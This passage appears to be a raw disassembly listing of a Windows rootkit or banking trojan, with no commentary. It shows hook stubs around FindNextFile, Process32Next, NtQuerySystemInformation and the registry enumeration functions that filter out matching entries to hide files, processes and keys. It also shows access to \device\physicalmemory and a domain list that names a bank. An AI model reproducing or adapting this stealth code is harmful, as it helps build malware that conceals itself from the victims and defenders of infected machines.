aGronxplanets_r ; "gronxplanets.ru" dd offset aChevychasebank ; "chevychasebank.com" db 0 aSoftwareMicros db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_409883+4D6o ; sub_409883+5BDo ... aOfstkkq db 'ofstkkq',0 ; DATA XREF: sub_409883+4D1o ; sub_409883+5B8o a3fd db '3fd',0 aOfstkkqc db 'ofstkkqc',0 ; DATA XREF: sub_409883+641o ; sub_409883+7DAo aJy db 'jy#* ',0 align 4 dword_43C218 dd 0 ; sub_40B090:loc_40B26Br ... dword_43C21C dd 0 ; sub_40B090+A5r ... aBIV db 'b:I,V',0 aLImn db 'l iMn ',0 ; DATA XREF: sub_401320+1Bo align 10h dword_43C230 dd 3Bh ; sub_401D0D+99w ... dd 6, 0Bh dword_43C23C dd 0 ; .text:loc_401420r ... dd 4, 12h dword_43C248 dd 0 ; .text:loc_401544r ... dd 6, 0Dh dword_43C254 dd 0 ; .text:loc_40166Dr ... dd 4, 0Bh dword_43C260 dd 0 ; .text:loc_401766r ... byte_43C264 db 0 ; DATA XREF: sub_4017D2+32o aDJy db 'D Jy',0 ; DATA XREF: sub_4017D2+80o byte_43C26A db 0 ; DATA XREF: sub_4017D2+93o dword_43C26B dd 2E617Ah align 10h dd 6, 0Dh dword_43C278 dd 0 ; .text:loc_4018F1r ... align 10h dd 0Dh dword_43C284 dd 0 ; .text:loc_4019D6r ... dd 7, 0Bh dword_43C290 dd 0 ; .text:loc_401B23r ... aGxK db 'gx%K',0 ; DATA XREF: sub_401B83+Co aJv db 'jV',0 ; DATA XREF: sub_401B83+1Co aLkw db 27h,'lkW',0 ; DATA XREF: sub_401B83+3Ao asc_43C2A1 db ':|',0 ; DATA XREF: sub_401B83+63o word_43C2A4 dw 59h ; DATA XREF: sub_401B83+A8r align 4 dd 6, 0Fh dword_43C2B0 dd 0 ; .text:loc_401CA9r ... word_43C2B4 dw 6Bh ; DATA XREF: sub_401D0D+14r aRg db '~ /rG',0 ; DATA XREF: sub_401D0D+117o aOv db 'O',0 ; DATA XREF: sub_401D0D+14Eo dword_43C2BF dd 275E27h align 4 off_43C2C4 dd offset loc_401D9A ; DATA XREF: sub_401D0D+75r dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_402008 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_402008 dd offset loc_401F81 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_402008 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_402008 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_401E11 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_401E11 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_401E11 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401DDC dd offset loc_401DDC dd offset loc_401E11 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401E11 dd offset loc_401E11 dd offset loc_401E9F dd offset loc_401ECA dd offset loc_401F4C dd offset loc_401F12 dd offset loc_401E00 dd offset loc_401F00 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401F00 dd offset loc_401F12 dd offset loc_401F00 dd offset loc_401F00 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A off_43C4F4 dd offset loc_401D9A ; DATA XREF: sub_401D0D+2AAr dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401F29 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401F3C dd offset loc_401F3C dd offset loc_401F3C dd offset loc_401F3C dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401E00 dd offset loc_401F4C dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F00 dd offset loc_401F00 dd offset loc_401F62 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401F00 dd offset loc_401F12 dd offset loc_401F6E dd offset loc_402008 dd offset loc_401F62 dd offset loc_402008 dd offset loc_402008 dd offset loc_401DAC dd offset loc_402008 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401E00 dd offset loc_401E00 dd offset loc_402008 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401D9A dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401E00 dd offset loc_401F4C dd offset loc_401F4C dd offset loc_401F29 dd offset loc_401E00 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401E48 dd offset loc_401F7A dd offset loc_401E74 dd offset loc_401E74 dd offset loc_402008 dd offset loc_402008 dd offset loc_401DC7 dd offset loc_401DC7 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401D9A dd offset loc_401D9A off_43C6C4 dd offset loc_401FC3 ; DATA XREF: sub_401D0D+295r dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_402001 dd offset loc_402001 dd offset loc_402008 dd offset loc_402001 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FE5 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401FC3 dd offset loc_401FF2 dd offset loc_401FC3 dd offset loc_402001 dd offset loc_402001 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_401FC3 dd offset loc_401FF2 dd offset loc_401FC3 dd offset loc_402001 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_402001 dd offset loc_402001 dd offset loc_401FF2 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_401FC3 dd offset loc_402001 dd offset loc_402001 dd offset loc_402001 dd offset loc_402001 dd offset loc_402001 dd offset loc_402001 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 dd offset loc_402008 aFindnextfilea db 'FindNextFileA',0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43C853: ; CODE XREF: .data:0043C89Cj push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CA60h test eax, eax jz short loc_43C89E pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43C86D: ; CODE XREF: .data:0043C873j cmp byte ptr [ebx], 0 jz short loc_43C875 inc ebx jmp short loc_43C86D ; --------------------------------------------------------------------------- loc_43C875: ; CODE XREF: .data:0043C870j mov word ptr [ebx], 463Ah inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD496h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43C89B popa jmp short loc_43C89E ; --------------------------------------------------------------------------- loc_43C89B: ; CODE XREF: .data:0043C896j popa jmp short loc_43C853 ; --------------------------------------------------------------------------- loc_43C89E: ; CODE XREF: .data:0043C860j ; .data:0043C899j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h db 65h, 57h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43C8D4: ; CODE XREF: .data:0043C923j push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CAE1h test eax, eax jz short loc_43C925 pusha mov eax, [ebp+0Ch] add eax, 2Ch mov ebx, eax loc_43C8EE: ; CODE XREF: .data:0043C8F6j cmp word ptr [ebx], 0 jz short loc_43C8F8 inc ebx inc ebx jmp short loc_43C8EE ; --------------------------------------------------------------------------- loc_43C8F8: ; CODE XREF: .data:0043C8F2j mov dword ptr [ebx], 46003Ah add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D61Dh pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43C922 popa jmp short loc_43C925 ; --------------------------------------------------------------------------- loc_43C922: ; CODE XREF: .data:0043C91Dj popa jmp short loc_43C8D4 ; --------------------------------------------------------------------------- loc_43C925: ; CODE XREF: .data:0043C8E1j ; .data:0043C920j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- dw 0FFFFh dword_43C938 dd 0FFFFFFh, 7551744Eh, 53797265h, 65747379h, 666E496Dh ; DATA XREF: .data:0043CE84o dd 616D726Fh, 6E6F6974h db 0 ; --------------------------------------------------------------------------- loc_43C955: ; DATA XREF: .data:0043CE8Co push ebp mov ebp, esp sub esp, 24h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx sub esp, 10h mov eax, [ebp+14h] mov edi, [ebp+10h] mov ebx, [ebp+0Ch] mov [esp+0Ch], eax mov [esp+8], edi mov [esp+4], ebx mov esi, [ebp+8] mov [esp], esi call near ptr 245CB8Bh mov [ebp-4], eax cmp esi, 5 jz short loc_43C9A5 loc_43C991: ; CODE XREF: .data:0043C9ABj ; .data:0043C9FEj mov eax, [ebp-4] mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- loc_43C9A5: ; CODE XREF: .data:0043C98Fj cmp edi, 1F40h jle short loc_43C991 jmp short loc_43C9B3 ; --------------------------------------------------------------------------- loc_43C9AF: ; CODE XREF: .data:0043CA00j mov esi, ebx loc_43C9B1: ; CODE XREF: .data:0043C9F8j add ebx, eax loc_43C9B3: ; CODE XREF: .data:0043C9ADj pusha mov eax, [ebx+44h] push 50h sub esp, 20h xor ebx, ebx loc_43C9C1: ; CODE XREF: .data:0043C9D4j bt eax, ebx jb short loc_43C9CC mov byte ptr [esp+ebx], 30h jmp short loc_43C9D0 ; --------------------------------------------------------------------------- loc_43C9CC: ; CODE XREF: .data:0043C9C4j mov byte ptr [esp+ebx], 31h loc_43C9D0: ; CODE XREF: .data:0043C9CAj inc ebx cmp ebx, 20h jnz short loc_43C9C1 push esp call near ptr 0C4FD5E8h add esp, 24h test ax, ax jnz short loc_43C9E7 popa jmp short loc_43C9FA ; --------------------------------------------------------------------------- loc_43C9E7: ; CODE XREF: .data:0043C9E2j popa mov eax, [ebx] test eax, eax jnz short loc_43C9F6 mov dword ptr [esi], 0 jmp short loc_43C9FA ; --------------------------------------------------------------------------- loc_43C9F6: ; CODE XREF: .data:0043C9ECj add [esi], eax jmp short loc_43C9B1 ; --------------------------------------------------------------------------- loc_43C9FA: ; CODE XREF: .data:0043C9E5j ; .data:0043C9F4j mov eax, [ebx] test eax, eax jz short loc_43C991 jmp short loc_43C9AF ; --------------------------------------------------------------------------- dw 0FFFFh dd 0FFFFFFh aProcess32next db 'Process32Next',0 ; DATA XREF: .data:off_43CE74o word_43CA16 dw 8360h ; DATA XREF: .data:off_43CE7Co dd 46A08C5h, 0B0BE855h, 0C0850B0Bh, 0EB610374h, 458B610Bh dd 1013D08h, 14740101h, 80808E8h, 1FF8108h, 74010101h dd 1013D07h, 5750101h, 20202E9h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 18h mov [esp+8], edi mov [esp+4], esi mov [esp], ebx loc_43CA5E: ; CODE XREF: .data:0043CAACj sub esp, 8 mov ebx, [ebp+0Ch] mov edi, [ebp+8] mov [esp+4], ebx mov [esp], edi call near ptr 245CC75h test eax, eax jz short loc_43CAAE pusha mov eax, [ebx+8] push 50h sub esp, 20h xor ebx, ebx loc_43CA85: ; CODE XREF: .data:0043CA98j bt eax, ebx jb short loc_43CA90 mov byte ptr [esp+ebx], 30h jmp short loc_43CA94 ; --------------------------------------------------------------------------- loc_43CA90: ; CODE XREF: .data:0043CA88j mov byte ptr [esp+ebx], 31h loc_43CA94: ; CODE XREF: .data:0043CA8Ej inc ebx cmp ebx, 20h jnz short loc_43CA85 push esp call near ptr 0C4FD6ACh add esp, 24h test ax, ax jnz short loc_43CAAB popa jmp short loc_43CAAE ; --------------------------------------------------------------------------- loc_43CAAB: ; CODE XREF: .data:0043CAA6j popa jmp short loc_43CA5E ; --------------------------------------------------------------------------- loc_43CAAE: ; CODE XREF: .data:0043CA75j ; .data:0043CAA9j mov ebx, [esp] mov esi, [esp+4] mov edi, [esp+8] mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CAD4: ; CODE XREF: .data:0043CB21j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CCE7h test eax, eax jnz short loc_43CB23 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CAEF: ; CODE XREF: .data:0043CAF5j cmp byte ptr [ebx], 0 jz short loc_43CAF7 inc ebx jmp short loc_43CAEF ; --------------------------------------------------------------------------- loc_43CAF7: ; CODE XREF: .data:0043CAF2j mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD718h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CB1D popa jmp short loc_43CB23 ; --------------------------------------------------------------------------- loc_43CB1D: ; CODE XREF: .data:0043CB18j popa inc dword ptr [ebp+0Ch] jmp short loc_43CAD4 ; --------------------------------------------------------------------------- loc_43CB23: ; CODE XREF: .data:0043CAE7j ; .data:0043CB1Bj pop ebp retn 10h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CB3C: ; CODE XREF: .data:0043CB8Fj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CD4Fh test eax, eax jnz short loc_43CB91 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CB57: ; CODE XREF: .data:0043CB5Fj cmp word ptr [ebx], 0 jz short loc_43CB61 inc ebx inc ebx jmp short loc_43CB57 ; --------------------------------------------------------------------------- loc_43CB61: ; CODE XREF: .data:0043CB5Bj mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D886h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CB8B popa jmp short loc_43CB91 ; --------------------------------------------------------------------------- loc_43CB8B: ; CODE XREF: .data:0043CB86j popa inc dword ptr [ebp+0Ch] jmp short loc_43CB3C ; --------------------------------------------------------------------------- loc_43CB91: ; CODE XREF: .data:0043CB4Fj ; .data:0043CB89j pop ebp retn 10h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dword_43CB98 dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h db 0 ; --------------------------------------------------------------------------- loc_43CBA9: ; DATA XREF: .data:0043CEDCo push ebp mov ebp, esp loc_43CBAC: ; CODE XREF: .data:0043CC27j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43CBBA push dword ptr [eax] loc_43CBBA: ; CODE XREF: .data:0043CBB6j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CDD9h test eax, eax jnz short loc_43CC29 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CBE1: ; CODE XREF: .data:0043CBE9j cmp word ptr [ebx], 0 jz short loc_43CBEB inc ebx inc ebx jmp short loc_43CBE1 ; --------------------------------------------------------------------------- loc_43CBEB: ; CODE XREF: .data:0043CBE5j mov dword ptr [ebx], 4B0023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50D910h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CC15 popa jmp short loc_43CC29 ; --------------------------------------------------------------------------- loc_43CC15: ; CODE XREF: .data:0043CC10j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43CC22 pop dword ptr [eax] loc_43CC22: ; CODE XREF: .data:0043CC1Ej mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CBAC ; --------------------------------------------------------------------------- loc_43CC29: ; CODE XREF: .data:0043CBD9j ; .data:0043CC13j add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43CC35 add esp, 4 loc_43CC35: ; CODE XREF: .data:0043CC30j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CC50: ; CODE XREF: .data:0043CCC5j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+20h] test eax, eax jz short loc_43CC5E push dword ptr [eax] loc_43CC5E: ; CODE XREF: .data:0043CC5Aj push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CE7Dh test eax, eax jnz short loc_43CCC7 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CC85: ; CODE XREF: .data:0043CC8Bj cmp byte ptr [ebx], 0 jz short loc_43CC8D inc ebx jmp short loc_43CC85 ; --------------------------------------------------------------------------- loc_43CC8D: ; CODE XREF: .data:0043CC88j mov word ptr [ebx], 4B23h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD8AEh pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CCB3 popa jmp short loc_43CCC7 ; --------------------------------------------------------------------------- loc_43CCB3: ; CODE XREF: .data:0043CCAEj popa inc dword ptr [ebp+0Ch] mov eax, [ebp+20h] test eax, eax jz short loc_43CCC0 pop dword ptr [eax] loc_43CCC0: ; CODE XREF: .data:0043CCBCj mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CC50 ; --------------------------------------------------------------------------- loc_43CCC7: ; CODE XREF: .data:0043CC7Dj ; .data:0043CCB1j add esp, 4 cmp dword ptr [ebp+20h], 0 jz short loc_43CCD3 add esp, 4 loc_43CCD3: ; CODE XREF: .data:0043CCCEj pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dword_43CCD8 dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 57h, 0 ; --------------------------------------------------------------------------- loc_43CCEB: ; DATA XREF: .data:0043CEFCo push ebp mov ebp, esp loc_43CCEE: ; CODE XREF: .data:0043CD69j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43CCFC push dword ptr [eax] loc_43CCFC: ; CODE XREF: .data:0043CCF8j push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CF1Bh test eax, eax jnz short loc_43CD6B pusha mov eax, [ebp+10h] mov ebx, eax loc_43CD23: ; CODE XREF: .data:0043CD2Bj cmp word ptr [ebx], 0 jz short loc_43CD2D inc ebx inc ebx jmp short loc_43CD23 ; --------------------------------------------------------------------------- loc_43CD2D: ; CODE XREF: .data:0043CD27j mov dword ptr [ebx], 560023h add ebx, 4 push dword ptr [ebx] mov dword ptr [ebx], 0 push ebx push eax call near ptr 0D50DA52h pop ebx pop dword ptr [ebx] mov dword ptr [ebx-4], 0 test ax, ax jnz short loc_43CD57 popa jmp short loc_43CD6B ; --------------------------------------------------------------------------- loc_43CD57: ; CODE XREF: .data:0043CD52j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43CD64 pop dword ptr [eax] loc_43CD64: ; CODE XREF: .data:0043CD60j mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CCEE ; --------------------------------------------------------------------------- loc_43CD6B: ; CODE XREF: .data:0043CD1Bj ; .data:0043CD55j add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43CD77 add esp, 4 loc_43CD77: ; CODE XREF: .data:0043CD72j pop ebp retn 20h ; --------------------------------------------------------------------------- db 0FFh dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 41h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp loc_43CD92: ; CODE XREF: .data:0043CE07j mov eax, [ebp+14h] push dword ptr [eax] mov eax, [ebp+24h] test eax, eax jz short loc_43CDA0 push dword ptr [eax] loc_43CDA0: ; CODE XREF: .data:0043CD9Cj push dword ptr [ebp+24h] push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 245CFBFh test eax, eax jnz short loc_43CE09 pusha mov eax, [ebp+10h] mov ebx, eax loc_43CDC7: ; CODE XREF: .data:0043CDCDj cmp byte ptr [ebx], 0 jz short loc_43CDCF inc ebx jmp short loc_43CDC7 ; --------------------------------------------------------------------------- loc_43CDCF: ; CODE XREF: .data:0043CDCAj mov word ptr [ebx], 5623h inc ebx inc ebx push dword ptr [ebx] mov word ptr [ebx], 0 push ebx push eax call near ptr 0C4FD9F0h pop ebx pop dword ptr [ebx] mov word ptr [ebx-2], 0 test ax, ax jnz short loc_43CDF5 popa jmp short loc_43CE09 ; --------------------------------------------------------------------------- loc_43CDF5: ; CODE XREF: .data:0043CDF0j popa inc dword ptr [ebp+0Ch] mov eax, [ebp+24h] test eax, eax jz short loc_43CE02 pop dword ptr [eax] loc_43CE02: ; CODE XREF: .data:0043CDFEj mov eax, [ebp+14h] pop dword ptr [eax] jmp short loc_43CD92 ; --------------------------------------------------------------------------- loc_43CE09: ; CODE XREF: .data:0043CDBFj ; .data:0043CDF3j add esp, 4 cmp dword ptr [ebp+24h], 0 jz short loc_43CE15 add esp, 4 loc_43CE15: ; CODE XREF: .data:0043CE10j pop ebp retn 20h ; --------------------------------------------------------------------------- db 3 dup(0FFh) db 2 dup(0FFh), 0 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402AD6+3F4o ; .data:off_43CE78o aNtdll_dll db 'ntdll.dll',0 ; DATA XREF: sub_402246+11o ; .data:0043CE88o ... aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: .data:0043CED8o ; .data:0043CEF8o aIphlpapi_dll db 'iphlpapi.dll',0 aInetmib1_dll db 'inetmib1.dll',0 aWsock32_dll db 'wsock32.dll',0 aUser32_dll db 'user32.dll',0 off_43CE74 dd offset aProcess32next ; DATA XREF: sub_402AD6+E9r ; sub_402AD6+11Cr ... ; "Process32Next" off_43CE78 dd offset aKernel32_dll ; DATA XREF: sub_402AD6+BFr ; "kernel32.dll" off_43CE7C dd offset word_43CA16 ; DATA XREF: sub_4028B9+209r byte_43CE80 db 0 ; DATA XREF: sub_402AD6+76r ; sub_402AD6+93r align 4 dd offset dword_43C938+4 dd offset aNtdll_dll ; "ntdll.dll" dd offset loc_43C955 dd 1, 43C8B5h, 43CE1Fh, 43C8C3h, 1, 43C834h, 43CE1Fh, 43C842h dd 2, 43CB2Dh, 43CE36h, 43CB39h, 1, 43CAC5h, 43CE36h, 43CAD1h dd 0 dd offset dword_43CB98+3 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43CBA9 dd 1, 43CC3Fh, 43CE36h, 43CC4Dh, 0 dd offset dword_43CCD8+5 dd offset aAdvapi32_dll ; "advapi32.dll" dd offset loc_43CCEB dd 1, 43CD81h, 43CE36h, 43CD8Fh, 5 dup(0) dd 2 dword_43CF28 dd 0Fh dword_43CF2C dd 0 ; .text:loc_4021CCr ... aRtlinitunicode db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402246+1Do a8dv13 db '8D13+',0 aNtunmapviewofs db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_402246+35o aAg db '+%aG',0 aNtopensection db 'NtOpenSection',0 ; DATA XREF: sub_402246+59o aZ_i6sw db 'z.I6SW',0 aNtmapviewofsec db 'NtMapViewOfSection',0 ; DATA XREF: sub_402246+74o db 0 aRtlntstatustod db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_402246+89o aA_0 db '/A, ',0 aCurrent_user db 'CURRENT_USER',0 ; DATA XREF: sub_4022E4+A5o align 4 aDevicePhysical: ; DATA XREF: sub_4022E4+1Co unicode 0, <\device\physicalmemory>,0 dword_43CFE6 dd 346A2Eh a4efo@g db '4EFo@g^',0 ; DATA XREF: sub_402246+6Co dword_43CFF2 dd 6E6739h dword_43CFF6 dd 307725h word_43CFFA dw 3C6Ah ; DATA XREF: sub_4022E4+98o db 0 dword_43CFFD dd 503F21h align 4 dword_43D004 dd 1 ; sub_402AD6+5AAr dd 0Bh dword_43D00C dd 0 ; .text:loc_40251Ar ... aWcscmp db 'wcscmp',0 ; DATA XREF: .data:off_43D0B0o aFegH db 'feg:H',0 aHtons db 'htons',0 align 4 aVirtualprotect db 'VirtualProtect',0 aY3c db 'Y!~3c',0 aGetcurrentproc db 'GetCurrentProcessId',0 aP db 'p',0 aFindwindowa db 'FindWindowA',0 aGq db 'Q',0 aSendmessagea db 'SendMessageA',0 aRze db 'RZe~',0 aIsbadreadptr db 'IsBadReadPtr',0 aL@befm db 'l@EfM ',0 aGlobalfindatom db 'GlobalFindAtomA',0 db ' ',0 